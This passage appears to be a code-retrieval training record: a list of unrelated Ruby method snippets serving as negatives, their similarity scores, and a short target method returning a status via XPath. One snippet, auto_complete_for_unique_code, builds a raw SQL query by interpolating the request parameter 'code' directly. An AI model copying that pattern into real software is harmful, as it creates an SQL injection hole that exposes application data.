entry.is_a?(String) || entry.is_a?(BSON::ObjectId) ||\n entry.is_a?(Time) || entry.is_a?(Date) || entry.is_a?(Boolean) || entry.is_a?(Integer) || entry.is_a?(Float)\n elsif entry.is_a?(Array)\n entry.each { |elem| populate_codesystem_oid(elem) }\n elsif entry.is_a?(Hash)\n if entry['codeSystem'] || entry[:codeSystem]\n name_oid_hash = JSON.parse(File.read(File.join(File.dirname(__FILE__), 'name_oid_map.json')))\n if name_oid_hash[entry['codeSystem']].nil? && name_oid_hash[entry[:codeSystem]].nil?\n puts 'ERROR: Could Not Resolve OID For Code System ' + entry['codeSystem']\n else\n entry['system'] = name_oid_hash[entry['codeSystem']] || name_oid_hash[entry[:codeSystem]]\n # cqm codes mirror cql codes and do not include the human-readable codeSystem name\n entry.delete('codeSystem')\n end\n end\n if entry['descriptor'] || entry[:descriptor]\n entry['display'] = entry['descriptor'] || entry[:descriptor]\n entry.delete('descriptor')\n end\n entry.keys.each { |key| populate_codesystem_oid(entry[key]) }\n elsif entry.is_a?(QDM::DataElement) || entry.is_a?(QDM::Attribute)\n entry.attribute_names.each { |key| populate_codesystem_oid(entry[key]) }\n else\n puts 'WARNING: Unable To Search For Codes In ' + entry.to_s\n end\n end", "def auto_complete_for_unique_code(code)\n @adjustment_codes = []\n begin\n job = Job.select('id, parent_job_id').find(params[:job_id])\n parent_job_id = job.get_parent_job_id\n reason_code_records = ReasonCode.find_by_sql(\"select distinct reason_codes.unique_code, \\\n reason_codes.id, reason_codes.reason_code, reason_codes.reason_code_description \\\n from reason_codes \\\n inner join reason_codes_jobs on \\\n reason_codes.id = reason_codes_jobs.reason_code_id \\\n where (reason_codes_jobs.parent_job_id = #{parent_job_id} and \\\n reason_codes.unique_code like '#{code}%') limit 10\")\n reason_code_records.each do |record|\n @adjustment_codes << [record.unique_code, record.id, record.reason_code, record.reason_code_description]\n end\n hipaa_codes = $HIPAA_CODES\n count = 0\n hipaa_codes.each do |hipaa_code_array|\n if count != 10 && hipaa_code_array[1].upcase.start_with?(code.upcase)\n @adjustment_codes << [hipaa_code_array[1], hipaa_code_array[0], hipaa_code_array[2], '']\n count += 1\n end\n end\n rescue\n @adjustment_codes = []\n end\n render :partial => 'auto_complete_for_unique_code'\n end", "def code\n @info.code\n end", "def journal_codes\r\n self.journals.collect { |j| j.code }\r\n end", "def journal_codes\r\n self.journals.collect { |j| j.code }\r\n end", "def index\n @authorize_codes = AuthorizeCode.all\n end", "def code\n info['Code']\n end", "def codes\n unless @current_admin.is_super_admin\n unless @current_admin.privilages.include? '2'\n flash[:error]=\"You are not authorized to navigate to this page \"\n redirect_to admin_index_path\n return\n end\n end\n @unused_codes = Code.where(\"admin_id=? and valid ='t'\", current_admin.id);\n @used_codes = Code.where(\"admin_id=? and valid ='f'\", current_admin.id);\n end", "def operational_attribute_oids\n\t\treturn self.operational_attribute_types.inject([]) do |oids, attrtype|\n\t\t\toids.push( *attrtype.names )\n\t\t\toids << attrtype.oid\n\t\tend\n\tend", "def jurisdiction_name oc_code\n oc_code = \"oc_#{oc_code}\" unless oc_code.to_s.match?(/^oc_/)\n Card.fetch_name oc_code.to_sym\n end", "def code\n @code\n end", "def orcid_field\n generate 'sufia:orcid_field'\n end", "def code\n '202'\n end", "def odk_code(options = {})\n CodeMapper.instance.code_for_item(object, options)\n end", "def get_code(dial_book, key)\n dial_book[key]\nend", "def convert_data_field_codes_to_id_strings(source_data)\n model.convert_data_field_codes_to_id_strings(source_data)\n end", "def convert_data_field_codes_to_id_strings(source_data)\n model.convert_data_field_codes_to_id_strings(source_data)\n end", "def next_event_code\r\n @list[@index + 1].code\r\n end", "def get_primary_reason_code_ids_of_svc\r\n reason_code_ids = []\r\n reason_code_ids << noncovered_reason_code_id unless noncovered_reason_code_id.blank?\r\n reason_code_ids << denied_reason_code_id unless denied_reason_code_id.blank?\r\n reason_code_ids << discount_reason_code_id unless discount_reason_code_id.blank?\r\n reason_code_ids << coinsurance_reason_code_id unless coinsurance_reason_code_id.blank?\r\n reason_code_ids << deductible_reason_code_id unless deductible_reason_code_id.blank?\r\n reason_code_ids << copay_reason_code_id unless copay_reason_code_id.blank?\r\n reason_code_ids << primary_payment_reason_code_id unless primary_payment_reason_code_id.blank?\r\n reason_code_ids << prepaid_reason_code_id unless prepaid_reason_code_id.blank?\r\n reason_code_ids << pr_reason_code_id unless pr_reason_code_id.blank?\r\n reason_code_ids << contractual_reason_code_id unless contractual_reason_code_id.blank?\r\n reason_code_ids << miscellaneous_one_reason_code_id unless miscellaneous_one_reason_code_id.blank?\r\n reason_code_ids << miscellaneous_two_reason_code_id unless miscellaneous_two_reason_code_id.blank?\r\n reason_code_ids\r\n end", "def get_unique_accessCode\n code = generate_accessCode\n while Room.exists?(accessCode: code) do\n code = generate_accessCode\n end\n return code\n end" ]
[ "0.6566039", "0.65039617", "0.55662733", "0.54731756", "0.54731756", "0.54152083", "0.5308026", "0.528009", "0.52527857", "0.5166433", "0.5159573", "0.514968", "0.5142255", "0.5141008", "0.5114429", "0.51089424", "0.5088797", "0.5055395", "0.5032888", "0.5020609", "0.5007019", "0.49924117", "0.49541062", "0.49520898", "0.49459204", "0.4939346", "0.49332795", "0.49119514", "0.49108362", "0.49045885", "0.49009085", "0.4895631", "0.48950434", "0.48941392", "0.48929322", "0.48728818", "0.48646381", "0.4859432", "0.48559853", "0.48530844", "0.4847672", "0.48445785", "0.484409", "0.48426592", "0.48421985", "0.48399112", "0.4827472", "0.4827472", "0.4824842", "0.48243815", "0.4816567", "0.4816567", "0.4816567", "0.4816567", "0.48144966", "0.48120147", "0.48093823", "0.48068509", "0.48068509", "0.4805837", "0.47861227", "0.47806978", "0.4774412", "0.47716588", "0.47704384", "0.476966", "0.4763525", "0.4761826", "0.4756834", "0.4756354", "0.47513908", "0.4747216", "0.47460264", "0.47381616", "0.47355196", "0.47251025", "0.47231713", "0.47220662", "0.4719688", "0.47118932", "0.47073448", "0.47058362", "0.4704895", "0.4701338", "0.4701338", "0.4699403", "0.46926486", "0.46905467", "0.46839255", "0.4672191", "0.46713626", "0.4653771", "0.46533594", "0.46467647", "0.46443993", "0.46394688", "0.46394688", "0.46335226", "0.4622411", "0.46176213" ]
0.6392065
2
Get the status of the criteria, e.g. active, completed, etc. Only present for certain types like condition, diagnosis, procedure, etc.
def status if @status_path attr_val(@status_xpath) else nil end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_status\n if criteria_type == Constants::CRITERIA_TYPE_PASS_FAIL\n temp_status = status\n else\n temp_status = point.zero? ? Constants::CRITERIA_STATUS_FAILED : Constants::CRITERIA_STATUS_PASSED\n end\n temp_status\n end", "def get_status\n if draft\n :draft\n elsif closed || gross_amount <= paid_amount\n :closed\n elsif due_date and due_date > Date.today\n :opened\n else\n :overdue\n end\n end", "def status\n STATUSES[self.status_id]\n end", "def get_status\n if draft\n :draft\n elsif paid\n :paid\n elsif due_date\n if due_date > Date.today\n :pending\n else\n :overdue\n end\n else\n # An invoice without a due date can't be overdue\n :pending\n end\n end", "def status\n refund? ? 3 : redeemed? ? 1 : (used_status? ? 2 : 0)\n end", "def status\n @status ||= STATUS[mapping_for(:status)]\n end", "def status\n @status ||= STATUS[mapping_for(:status)]\n end", "def status\n STATUSES[self.status_id || 0]\n end", "def status\n value_for('status')\n end", "def get_status\n\t\tstatus\n\tend", "def status\n if status_code.present?\n if status_code['HL7 ActStatus']\n status_code['HL7 ActStatus'].first()\n elsif status_code['SNOMED-CT']\n case status_code['SNOMED-CT'].first()\n when '55561003'\n 'active'\n when '73425007'\n 'inactive'\n when '413322009' \n 'resolved'\n end\n end\n end\n end", "def status\n @attributes[:status]\n end", "def status\n @attributes[:status]\n end", "def status\n @attributes[:status]\n end", "def status\n @attributes[:status]\n end", "def getStatus\n @status\n end", "def status\n @status\n end", "def status\n @status\n end", "def status\n if self.started_at.nil? and self.stopped_at.nil?\n 'Pending'\n elsif self.started_at.present? and self.stopped_at.nil?\n 'Active'\n elsif self.started_at.present? and self.stopped_at.present?\n 'Completed'\n end\n end", "def status\n params[\"Status\"]\n end", "def get_status\n fetch_status unless status == :completed\n status\n end", "def get_status\n fetch_status unless status == :completed\n status\n end", "def getStatus\r\n\t\t\t\t\treturn @status\r\n\t\t\t\tend", "def status\r\n if @status == \"paid\"\r\n :completed\r\n elsif @tatus == \"refused\"\r\n :refused\r\n else\r\n :pending_payment\r\n end\r\n end", "def get_status\n return @m_status\n end", "def status\n @status\n end", "def status\n @status\n end", "def status\n raise \"Status not set for #{self.inspect}\" if @status == :nil\n raise \"Not allowed status: #{@status} for #{self.inspect}\" unless ALLOWED.include?(@status)\n @status\n end", "def status\n if closed?\n return \"closed\"\n elsif submitted?\n return retrieved? ? \"retrieved\" : \"submitted\"\n else\n \"new\"\n end\n end", "def invite_status\n if status == 'running'\n 'running'\n elsif status == 'applying'\n if Time.now < self.campaign.recruit_end_time\n 'applying'\n else\n 'end_apply'\n end\n elsif status == 'approved' && self.campaign.is_recruit_type?\n if Time.now < self.campaign.start_time\n 'apply_passed'\n else\n 'executing'\n end\n elsif status == 'approved'\n if !start_upload_screenshot\n 'approved_and_unstart_upload'\n elsif img_status == 'pending' && screenshot.blank?\n 'approved_and_can_upload'\n elsif img_status == 'pending' && screenshot.present?\n 'approved_and_uploaded'\n elsif img_status == 'passed'\n 'approved_and_passed'\n elsif img_status == 'rejected'\n 'approved_and_rejected'\n else\n 'unknown'\n end\n elsif status == 'finished'\n if !start_upload_screenshot\n 'finished_and_unstart_upload'\n elsif img_status == 'pending' && screenshot.blank?\n 'finished_and_can_upload'\n elsif img_status == 'pending' && screenshot.present?\n 'finished_and_uploaded'\n elsif img_status == 'rejected'\n 'finished_and_rejected'\n else\n 'unknown'\n end\n elsif status == 'settled'\n 'settled'\n elsif status == 'rejected'\n 'rejected'\n elsif status == 'missed'\n 'missed'\n else\n 'unknown'\n end\n end", "def statuses\n return ['canceled', 'completed'] if self.status == 'paid'\n return ['canceled', 'paid'] if self.status == 'ordered'\n end", "def status \n CampaignMemberStatusType.try(:find_by_id,self.campaign_member_status_type_id)\n end", "def status\n return :cancelled if cancelled?\n return :closed if closed?\n return :active if active?\n\n # If the establishment is not active, closed, or cancelled it is pending\n :pending\n end", "def status_value(status)\n if status\n \"Active\"\n else\n \"Disabled\"\n end\n end", "def status\n\t\treturn @status\n\tend", "def results_status()\n r = attr_get(\"status\")\n if(r.eql?(\"passed\"))\n \"passed\"\n else\n \"failed\"\n end\n end", "def getStatus\n @@statuses[@status]\n end", "def status\n if params['fraud_status'] == 'pass' || params['credit_card_processed'] == 'Y'\n 'Completed'\n elsif params['fraud_status'] == 'wait'\n 'Pending'\n else\n 'Failed'\n end\n end", "def completion_status\n @attributes['status']\n end", "def retrieve_status\n \n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n @browser.span(:css => field_cell_css(:name) + \" .status\").when_present.text\n end", "def statuses; end", "def financial_statements_status(session_options)\n not_params_clear = !params[:clear]\n params_status, session_options_status = [params[:status], session_options.try(:[], [:status])]\n\n if (@valid_status_values.include? params_status) && not_params_clear\n params_status\n elsif session_options && (@valid_status_values.include? session_options_status) && not_params_clear\n session_options_status\n else\n 'all'\n end\n end", "def get_status\n result = {}\n result['registration'] = !!registration_start_date && !!registration_end_date\n result['cfp'] = !!call_for_papers\n result['venue'] = !!venue && !!venue.name && !!venue.address && !!venue.website\n result['rooms'] = rooms.count > 0\n result['tracks'] = tracks.count > 0\n result['event_types'] = event_types.count > 0\n result['difficulty_levels'] = difficulty_levels.count > 0\n result['process'] = (result.select { |k, v| v }.length / result.length.to_f * 100).round(0).to_s\n result['short_title'] = short_title\n result\n end", "def status\n\t\treturn \"Pending\" if !completed\n\t\t\"Completed\"\n\tend", "def status_object\n @status\n end", "def criteria\n\t\tif @criteria.nil?\n\t\t\t[ :score, :buchholz_score, :neustadtl_score, :c_score, :opp_c_score, :wins ]\n\t\telse\n\t\t\t@criteria\n\t\tend\n\tend", "def status\n case @status\n when 0 then :off\n when 1 then :on\n end\n end", "def status_fields\n %i[\n monitoring\n monitoring_reason\n monitoring_plan\n exposure_risk_assessment\n public_health_action\n isolation\n pause_notifications\n symptom_onset\n severe_symptom_onset\n case_status\n assigned_user\n last_date_of_exposure\n continuous_exposure\n user_defined_symptom_onset\n extended_isolation\n ]\n end", "def status_enum\n [\n [STATUSES.active],\n [STATUSES.resolved],\n [STATUSES.cancelled],\n [STATUSES.deleted]\n ]\n end", "def status\n instance_get(:status)\n end", "def status\n state = (active_instance.nil? ? 999 : active_instance.status)\n case state\n when 0 \n 'missing'\n when 1 \n 'none'\n when 2 \n 'pending'\n when 3 \n 'unready'\n when 4 \n 'failed'\n when 5 \n 'ready'\n when 666 \n 'deleted'\n when 999\n 'inactive'\n else \n 'hold'\n end\n end", "def status\n if canceled.present?\n return 'canceled'\n elsif returned.present?\n return 'returned'\n elsif due_back?\n return 'due back'\n elsif shipped.present?\n return 'shipped'\n elsif authorized\n return 'placed'\n else\n return 'placed'\n end\n end", "def status_enum\n status_list\n end", "def get_status \n\t\t\n\t\tstatus = @db.rpop @type\n\t\tstatus\n\t\n\tend", "def determine_status\n sent = invoice.email_status == \"EmailSent\"\n balance = invoice.balance.to_f\n\n if balance == 0\n \"Paid\"\n elsif check_due_date(invoice.due_date)\n sent ? \"Overdue Sent\" : \"Overdue\"\n elsif balance > 0 && balance < invoice.total\n sent ? \"Partial Sent\" : \"Partial\"\n elsif balance == invoice.total\n sent ? \"Open Sent\" : \"Open\"\n end\n end", "def outcome\n status.first\n end", "def status\n return \"draft\" if self.draft?\n return \"sent\" if self.sent?\n return \"batch\" if self.batch_sent?\n end", "def get_conditions_options\n RedmineCharts::ConditionsUtils.types\n end", "def search_job_get_status(searchString)\n search_and_get_value_table('requisition-view-table-body',4, searchString, 10)\n end", "def status\n super || StatusType.active\n end", "def list_status\n if self.available_on.nil?\n nil\n elsif self.tba?\n 'TBA'\n elsif self.upcoming?\n 'Upcoming'\n elsif self.new?\n 'New'\n elsif self.recent?\n 'Recent'\n elsif self.backlist?\n 'Backlist'\n else\n nil\n end\n end", "def status\n case status_id\n when ReferenceData::PO_ITEM_PREPARING\n \"<em style='color:red'>Ordering</em>\"\n when ReferenceData::PO_ITEM_SENT_TO_CENTRAL\n \"<em style='color:brown'>Sent to Central</em>\"\n when ReferenceData::PO_ITEM_SENT_TO_SUPPLIER\n \"<em style='color:green'>Sent to PO</em>\"\n when ReferenceData::PO_ITEM_UNCATEGORIZED\n \"<em style='color:red'>Uncategorized</em>\"\n end\n \n end", "def status\n return \"Passed\" if self.passed?\n return \"Failed\" if self.failed?\n return \"Not Run\"\n end", "def status\n info[\"Status\"]\n end", "def status\n info['status']\n end", "def by_court_status(status, options = {})\n options = options.reverse_merge(:include_owner => true)\n\n searched = if options[:include_owner]\n search(:court_status_or_owner_court_status_in => status)\n else\n search(:court_status_in => status)\n end\n\n searched.result\n end", "def by_court_status(status, options = {})\n options = options.reverse_merge(:include_owner => true)\n\n searched = if options[:include_owner]\n includes(:company, company: :owner).search(:company_court_status_or_company_owner_court_status_in => status)\n else\n includes(:company).search(:company_court_status_in => status)\n end\n\n searched.result\n end", "def status\n fixity_graph.query({ predicate: premis_status_predicate }).map(&:object) +\n fixity_graph.query({ predicate: fedora_status_predicate }).map(&:object)\n end", "def status\n Status.find(self.status_id).name\n end", "def status_type(example)\n status = example[:status]\n return status if status != 'failed' || control[:impact].nil?\n if control[:impact] >= 0.7\n 'critical'\n elsif control[:impact] >= 0.4\n 'major'\n else\n 'minor'\n end\n end", "def evaluation_status\n array = placements.filled.collect(&:evaluation_submitted?)\n if array.include?(false)\n status = array.include?(true) ? false : nil\n else\n status = array.empty? ? nil : true\n end\n status \n end", "def status_for(exam)\n if exam.last_report\n exam.last_report.status\n else\n \"Ordered\"\n end\n end", "def render_status(criterion, f, project, is_disabled)\n render(partial: 'status_chooser',\n locals: { f: f, project: project, is_disabled: is_disabled,\n criterion: Criteria[criterion] })\n end", "def status(*status)\n all.select { |b| status.include?(b.status) }\n end", "def search_status(...)\n SearchService.active_status\n end", "def good\n @status\n end" ]
[ "0.73605233", "0.6826434", "0.6603151", "0.6561015", "0.6458034", "0.6426171", "0.6426171", "0.6422271", "0.6391215", "0.63535726", "0.634973", "0.6348514", "0.6348514", "0.6348514", "0.6348514", "0.62648356", "0.6262153", "0.6262153", "0.6250871", "0.624784", "0.6226443", "0.6226443", "0.62189627", "0.6212148", "0.6204103", "0.6202523", "0.6202523", "0.6182521", "0.6177416", "0.61443096", "0.6140056", "0.6139851", "0.61258775", "0.61073667", "0.6079308", "0.6078749", "0.6067668", "0.605439", "0.6050613", "0.6036769", "0.60278994", "0.60276234", "0.60276234", "0.60276234", "0.60276234", "0.60276234", "0.60276234", "0.60276234", "0.60276234", "0.60276234", "0.60276234", "0.60276234", "0.60276234", "0.60276234", "0.60276234", "0.60276234", "0.60276234", "0.60276234", "0.60276234", "0.60276234", "0.60276234", "0.60276234", "0.60276234", "0.60276234", "0.6005164", "0.60044616", "0.6002423", "0.5999963", "0.5997741", "0.59771484", "0.59726053", "0.5972586", "0.5968715", "0.5961428", "0.59595555", "0.59334064", "0.5930349", "0.5922651", "0.5920845", "0.5916838", "0.59104884", "0.59073204", "0.589597", "0.58702487", "0.5869154", "0.58658487", "0.5863934", "0.58527166", "0.58425975", "0.5840373", "0.58381563", "0.5827365", "0.5806663", "0.57962614", "0.5795146", "0.57888705", "0.5786489", "0.57842964", "0.5781044", "0.57808197", "0.5780006" ]
0.0
-1
Get a JS friendly constant name for this measure attribute
def const_name components = title.gsub(/\W/,' ').split.collect {|word| word.strip.upcase } components.join '_' end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def const_value() @name end", "def name\n underscore const_name\n end", "def name \n case type\n when \"percentage\"\n return \"#{@multiplier.round(0)}\\% Off\"\n when \"deduction\"\n return \"£#{@multiplier.round(0)} Off\"\n end\n end", "def name\n @custom_name || @attribute.to_s.humanize\n end", "def measurement_name\n name.downcase.split('::')[1]\n end", "def safe_str\n name_component = metric_name.to_s\n name_component << \"-#{default_attribute.gsub(%r{[^\\w]}, '')}\" if default_attribute?\n (namespace << name_component).join('.')\n end", "def constant_name(node)\n return node.children[1].to_s\n end", "def constant_name(node)\n return node.children[1].to_s\n end", "def process_const(exp)\n name = exp.shift\n return name.to_s\n end", "def name\n @attribute.name\n end", "def base_metric_name\n nil\n end", "def complexity_name\n COMPLEXITY[self.complexity_id-1][0]\n end", "def encode_constant(name)\n \"$\" + @global_name_generator.get(name.to_s)\n end", "def var_name()\n if self.id.start_with?(/\\Ah?l_/i)\n return self.id.downcase\n else\n return \"l_#{self.id.downcase}\"\n end\n end", "def to_const_name(name)\nconst_name = name.to_s.gsub(/[^a-z0-9_]/i,'_').squeeze('_').upcase\n if const_name =~ /^[^a-z]/i\n const_name = \"T_\"+const_name\n end\n const_name.to_sym\n end", "def get_variable_name(attribute_id)\n \"aspect.#{aspect}.#{target_model}.#{attribute_id}\"\n end", "def human_name\n Base.human_attribute_name(@name)\n end", "def attribute_name; end", "def attribute_name; end", "def attribute_name; end", "def attribute_name; end", "def attribute_name; end", "def attribute_name; end", "def attribute_name; end", "def attribute_render_naming\n OBJ_ATTRIBUTE_RENDER_NAMING\n end", "def const2name(const)\n const.sub(/^[A-Z]/) { |i| i.downcase }.gsub(/[A-Z]/) { |i| \"_#{i.downcase}\" }.intern\n end", "def to_const_name\n n = to_s.split(/_/).map(&:capitalize).join\n RUBY_VERSION =~ /1\\.8/ ? n : n.to_sym\n end", "def measure_id\n \"#{host}-#{plugin_display}-#{type_display}\"\n end", "def format_name(attribute_name)\n attribute_name.to_s\n end", "def name\n [@n.to_s + character.to_s, symmetry].reject{|p| p == \"\"}.join(\"_\")\n end", "def attr_name\n parameters.first.jump(:ident).first.to_sym\n end", "def humanize(symbol)\n human_attr = symbol.to_s.split('_').map(&:capitalize).join(' ')\n end", "def make_metric_type metric_prefix, name\n \"#{metric_prefix}/#{name}\"\n end", "def to_const_name(code)\n return nil unless code\n name = constants.select { |c| const_get(c) == code.to_i }.first.to_s\n name.present? ? name : nil\n end", "def name_attribute(suffix = nil)\n extra = suffix ? \"_#{suffix}\" : ''\n %(name=\"#{name_base}#{extra}\")\n end", "def generated_label\n name = \"\"\n\n if @generated_name_classes.last\n clazz, reflection = @generated_name_classes.last[:clazz], @generated_name_classes.last[:reflection]\n if reflection.collection?\n name << clazz.model_name.human(count: 2)\n else\n name << clazz.model_name.human\n end\n end\n\n name << \" \" unless name.empty?\n name << @current_clazz.human_attribute_name(@attribute).to_s.downcase\n\n return name\n end", "def unit_s\n self.unit.to_s if self.unit\n end", "def name\n return 'AedgSmallToMediumOfficeExteriorLighting'\n end", "def readable_name\n \"(#{@type}) #{@name}\"\n end", "def encode_globalattr(name)\n \"a$\" + @global_attribute_name_generator.get(name.to_s)\n end", "def label_from_attribute(attribute)\n attribute.to_s.humanize\n end", "def reflection_or_attribute_name; end", "def name\n C.LLVMGetValueName(self)\n end", "def meta_events_prefix_attribute(name)\n \"#{MetaEvents::Helpers.meta_events_javascript_tracking_prefix}_#{name}\"\n end", "def get_string(attr); end", "def const_name length=rand_base.random_length, &check\n weight = 3\n rand_base.check_result check do\n rand_base.alpha(1, rand_base::ALPHA_UPCASE) + rand_base.alpha(length-1, rand_base::ALPHA_UPCASE + ['_'] * weight)\n end\n end", "def name\n @n.to_s + characterization\n end", "def local_name\n \"#{key}_value\"\n end", "def name(reciprocal=false)\n name_to_power(@unit.name, @index.abs)\n end", "def human_attribute_name(field_name, options={})\n \"\"\n end", "def name\n if resource_class.respond_to?(:human_attribute_name)\n resource_class.human_attribute_name(attribute)\n else\n attribute.to_s.titleize\n end\n end", "def to_s() name end", "def name\n \"#{number}: #{short_name}\"\n end", "def name()\n return Vocab::optimize_modes_strings[@v_index][0]\n end", "def to_s\n const.to_s\n end", "def name\n short_code\n end", "def key\n key = self.name\n key = Economic::Support::String.demodulize(key)\n key = Economic::Support::String.underscore(key)\n key.intern\n end", "def unit_t\n I18n.t \"#{self.unit_s}\", :count => 1\n end", "def magnitude_word\n MAGNITUDE[magnitude]\n end", "def name_attribute_path\n type_attribute_directory + \"#{@namevar}.rb\"\n end", "def unique_name\n return nil if ignoring_request?\n\n @unique_name ||= begin\n scope_layer = LayerConverters::FindLayerByType.new(self).scope\n if scope_layer\n scope_layer.legacy_metric_name\n else\n :unknown\n end\n end\n end", "def metric_desc\n \"#{config[:metric_name]} for #{config[:efs_name]}\"\n end", "def constantize(name)\n name.to_s.split('_').map(&:capitalize).join\n end", "def accessor_name\n \"mint_#{name}\".to_sym\n end", "def name;\n \"#{@type}.#{@size}\"\n end", "def name\n base = config[:name]\n @formatted ? \"#{base} (#{@formatted})\" : base\n end", "def attribute_field_name(attr)\n attr.to_s.camelize(:lower)\n end", "def attr_name_from_type_param(type)\n #ap \"type #{type}\"\n type\n .split(\":\")\n .last\n .gsub(/\\[.*:/, '')\n .gsub(/\\]/, '')\n .to_sym\n end", "def variable_name; end", "def variable_name; end", "def name\n value\n end", "def name\n attributes.fetch(:name)\n end", "def name\n (@name ||= namespace).to_s.underscore.symbolize\n end", "def resource_attribute_human_name_for(attribute_name)\n attribute_name = attribute_name.to_s\n I18n.t(\"activerecord.attributes.#{resource_name}.#{attribute_name}\",\n default: attribute_name.humanize)\n end", "def to_const_string\n gsub(/\\/(.?)/) { \"::#{$1.upcase}\" }.gsub(/(?:^|_)(.)/) { $1.upcase }\n end", "def to_const_string\n gsub(/\\/(.?)/) { \"::#{$1.upcase}\" }.gsub(/(?:^|_)(.)/) { $1.upcase }\n end", "def humanise_identifier(model)\n klass = model.constantize\n klass.human_attribute_name identifier(model)\n end", "def human_attribute(object, attribute)\n object.class.human_attribute_name(attribute)\n end", "def human_attribute(object, attribute)\n object.class.human_attribute_name(attribute)\n end", "def name(val); @name = val.to_sym; end", "def moonIntensity \n \"moonIntensity\" \n end", "def series_name\n data_source.first.class.human_attribute_name(data_column)\n end", "def human_to_name; end", "def constantize(name)\n Reference.get(name)\n end", "def constantize(name)\n Reference.get(name)\n end", "def human_attribute_name(attribute, options={})\n attribute = Ldaptic.encode(attribute)\n if at = namespace.attribute_type(attribute)\n attribute = at.verbose_name\n end\n attribute = attribute[0..0].upcase + attribute[1..-1]\n attribute.gsub!(/([A-Z])([A-Z][a-z])/) { \"#$1 #{$2.downcase}\" }\n attribute.gsub!(/([a-z\\d])([A-Z])/) { \"#$1 #{$2.downcase}\" }\n attribute.gsub!(/\\b[a-z][A-Z]/) { $&.upcase }\n attribute.gsub!('_', '-')\n attribute\n end", "def nice_name(node)\n name = attr(node)\n defect_fields[name] || name\n end", "def name\n return \"Canadian Add Unitary and Apply Standard\"\n end", "def name\n attribute('cmis:name')\n end", "def human_attribute_name(attribute_key_name) #:nodoc:\n attribute_key_name.humanize\n end", "def to_constant_name(desc) #:nodoc:\n case desc\n when String then desc.sub(/^::/, \"\")\n when Symbol then desc.to_s\n when Module\n real_mod_name(desc) ||\n raise(ArgumentError, \"Anonymous modules have no name to be referenced by\")\n else raise TypeError, \"Not a valid constant descriptor: #{desc.inspect}\"\n end\n end", "def name_for(key, value = nil)\n basename = key.is_a?(Integer) ? \"%di\" % key : key.to_s\n\n case value\n when Float\n \"#{basename}.f.js\"\n when Integer\n \"#{basename}.i.js\"\n when nil, String\n \"#{basename}.js\"\n when true, false\n \"#{basename}.b.js\"\n else\n basename\n end\n end", "def gen_name\n \"gicon_#{@@count}\"\n end", "def hyphenated_name\n definition.hyphenated_name\n end", "def name\n return self.class.codes[@val]\n end", "def describe\n return @magnitude.to_s if magnitude?\n u_descr = Units.units_descr(@units, true)\n \"#{@magnitude} #{u_descr}\"\n end", "def color_name\n COLOR[self.color.to_s]\n end", "def name\n Properties[self.class] ||= {}\n return Properties[self.class][:name] || \"\"\n end", "def t_attr(attribute, model = nil)\n model ||= controller_name.classify.constantize\n model.human_attribute_name(attribute)\n end", "def name\n \"#{base_module.name}::#{constant_name}\"\n end" ]
[ "0.6975965", "0.6824656", "0.65747225", "0.65431106", "0.6508178", "0.64865637", "0.6233803", "0.6233803", "0.61627936", "0.6147548", "0.6132274", "0.6090819", "0.60772294", "0.60616463", "0.6037446", "0.6018665", "0.6000121", "0.59772646", "0.59772646", "0.59772646", "0.59772646", "0.59772646", "0.59772646", "0.59772646", "0.5967052", "0.59530586", "0.5942424", "0.5926308", "0.59081787", "0.5881568", "0.5866724", "0.5848765", "0.5845627", "0.5840663", "0.5830074", "0.58174324", "0.5812618", "0.5810931", "0.5802603", "0.58017915", "0.57959926", "0.5780175", "0.5767302", "0.57671016", "0.5766379", "0.57652795", "0.5756801", "0.57515043", "0.57500124", "0.5738619", "0.5716401", "0.5707812", "0.57040787", "0.569327", "0.56923956", "0.5683849", "0.56801295", "0.56799763", "0.5677366", "0.56693083", "0.5664771", "0.56607544", "0.5655546", "0.5653651", "0.5653294", "0.5639978", "0.5638112", "0.5619293", "0.5617461", "0.5617461", "0.5612634", "0.5610243", "0.56092626", "0.5606062", "0.560442", "0.560442", "0.560392", "0.55909765", "0.55909765", "0.558386", "0.5583694", "0.55781555", "0.55759794", "0.5574478", "0.5574478", "0.5573674", "0.5566191", "0.5564444", "0.55608886", "0.55596733", "0.5558558", "0.5558535", "0.55582815", "0.55522865", "0.5551623", "0.55510366", "0.5548368", "0.55482894", "0.5544677", "0.5543538" ]
0.6418567
6